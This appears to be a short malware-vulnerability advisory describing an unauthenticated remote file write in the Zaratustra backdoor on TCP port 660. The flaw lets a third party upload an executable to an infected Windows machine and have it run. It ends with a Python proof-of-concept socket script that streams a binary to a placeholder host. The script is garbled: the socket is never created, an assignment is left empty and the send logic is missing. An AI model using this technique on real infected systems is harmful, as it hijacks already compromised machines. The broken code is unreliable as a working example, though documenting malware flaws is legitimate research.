Backdoor.Win32.Zaratustra Remote File Write / Code Execution

Backdoor.Win32.Zaratustra malware suffers from an unauthenticated remote file write that can be leveraged to execute arbitrary code.

MD5 | 7cff66b8b5903ab3afc21c9c81959159

Discovery / credits: Malvuln - (c) 2021
Original source:
Contact: [email protected]

Threat: Backdoor.Win32.Zaratustra
Vulnerability: Unauthenticated Remote File Write (Remote Code Exec)
Description: Zaratustra malware listens on TCP port 660. Third-party attackers who can reach infected systems can use a socket program to write binary data to execute. The malware then writes that data to a file named "x.exe" under c: drive and will execute upon completion of the downloaded code.
Type: PE32
MD5: f240c16af2189ea9c94f317281ce7e59
Vuln ID: MVID-2021-0315
Dropped files: x.exe
Disclosure: 08/05/2021

from socket import *
import time
#Has to be done slowly or will crash the backdoor.
#Tested sucessfully with an 11.5 KB executable
#Compile #define WIN32_LEAN_AND_MEAN, linker strip executable etc.. try make small as possible.

HOST = "x.x.x.x"
PORT = 660

s.connect((HOST, PORT))

with open("DOOM.exe", "rb") as f:
while True:
bytez =
if not bytez:

print(" Backdoor.Win32.Zaratustra / Unauthenticated Remote File Write - RCE")
print("MD5: f240c16af2189ea9c94f317281ce7e59")
print("By malvuln")


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